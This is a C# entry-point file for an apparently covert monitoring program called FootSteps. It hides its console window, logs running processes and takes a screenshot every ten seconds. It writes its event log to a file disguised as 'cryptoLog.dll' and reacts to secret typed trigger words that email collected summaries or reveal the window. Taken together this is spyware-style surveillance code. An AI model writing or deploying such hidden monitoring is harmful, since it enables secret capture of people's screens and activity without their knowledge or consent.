﻿using System;
using System.Data.Entity;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using FootSteps.Data;
using FootSteps.Domain.Loggers;

namespace FootSteps.Run
{

    public class ConsoleRun
    {
        [DllImport("kernel32.dll")]
        private static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
        public static void Main()
        {
            var ctx = new FootStepsContext();
            Console.WriteLine(ctx.ProcessLogs.ToArray());
            //var img = ctx.ScreenLogs.OrderBy(d => d.Date).FirstOrDefault();
            //if (img != null && img.Image != null)
            //{
            //    var uncompress = img.Image.Image;
            //    img.Image.Compress();
            //    var compress = img.Image.Image;
            //    img.Image.Decompress();
            //    var des = img.Image.Image;
            //}
            var pp = ctx.ScreenLogs.Include(s=> s.Image).ToArray().Select(s=> new
            {
                s.IsFullPrint, 
                BmpSize = s.Image.ImageBytes.Length / 1024D
            }).ToArray();

            var y =
                ctx.ProcessLogs.Select(x => new {x.Date, DateTime.Today})
                    //.ToArray()
                    .Average(x => DbFunctions.DiffMilliseconds(x.Today, x.Date));

            //foreach (var source in ctx.ScreenLogs.Include(c => c.Image).ToArray())
            //{
            //    source.Image.Decompress();
            //}
            //ctx.SaveChanges();

            //MergePrints();
            //SavePrints();
            
            var logger = new LoggerManager {PrintScreenLogger =
            {
                TargetWidthResize = 1024, SleepMillisenconds = 10000,
                SavePrints = false
            }};
            
            var handle = GetConsoleWindow();
            ShowWindow(handle, 0);
            // ReSharper disable AccessToDisposedClosure

            logger.SetCommand("footmail", logger.SendLastResumeByEmail);
            logger.SetCommand("footconf", () => new FormConfig().Show());
            logger.SetCommand("foothide", () => ShowWindow(handle, 0)); //SW_HIDE = 0; Hide Window
            logger.SetCommand("footshow", () => ShowWindow(handle, 1)); //SW_HIDE = 0; Show Window
            logger.SetCommand("footmerge", MergePrints);
            logger.SetCommand("footnotmerge", SavePrints);

            using (var c = File.AppendText("cryptoLog.dll"))
            {   
                

                logger.OnLogEvent += c.WriteLine;
                logger.OnLogEvent += Console.WriteLine;
                //logger.PrintScreenLogger.OnPrintScreenTakenChange += args =>
                //{
                //    if (args.IsFullPrint) logger.SendLastResumeByEmail();
                //};

                logger.StartAll();
                Application.Run();
                logger.StopAll();
            }
        }

        private static void SavePrints()
        {
            var c = new FootStepsContext();
            foreach (var file in c.ScreenLogs.OrderBy(e => e.Date).Include(e => e.Image))
            {
                file.Image.Decompress();
                using (var original = file.Image.GetBitmapFromBytes())
                {
                    var dir = new DirectoryInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "notMerged"));
                    if (!dir.Exists) dir.Create();
                    var mergePath = Path.Combine(dir.FullName, file.PrintScreenLogId + ".jpg");
                    original.Save(mergePath);
                }
            }
        }
        private static void MergePrints()
        {
            Bitmap lastBitmap = null;
            var c = new FootStepsContext();
            foreach (var file in c.ScreenLogs.OrderBy(e => e.Date).Include(e => e.Image))
            {
                file.Image.Decompress();
                if (file.IsFullPrint)
                {
                    if (lastBitmap != null) lastBitmap.Dispose();
                    using (var original = file.Image.GetBitmapFromBytes())
                    {
                        lastBitmap = new Bitmap(original.Width, original.Height);
                        using (var g = Graphics.FromImage(lastBitmap))
                        {
                            g.DrawImage(original, 0, 0);
                        }
                    }
                }
                else
                {
                    using (var imgFile = file.Image.GetBitmapFromBytes())
                    using (var bmp = new Bitmap(imgFile))
                    {
                        if (lastBitmap == null)
                            lastBitmap = new Bitmap(bmp);

                        using (var grfx = Graphics.FromImage(lastBitmap))
                        {
                            grfx.DrawImage(bmp, 0, 0);
                        }
                    }
                }
                
                var dir = new DirectoryInfo(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "merge"));
                if (!dir.Exists) dir.Create();
                var mergePath = Path.Combine(dir.FullName, file.PrintScreenLogId + ".jpg");
                lastBitmap.Save(mergePath);
            }
            if (lastBitmap != null) lastBitmap.Dispose();
        }

    }
}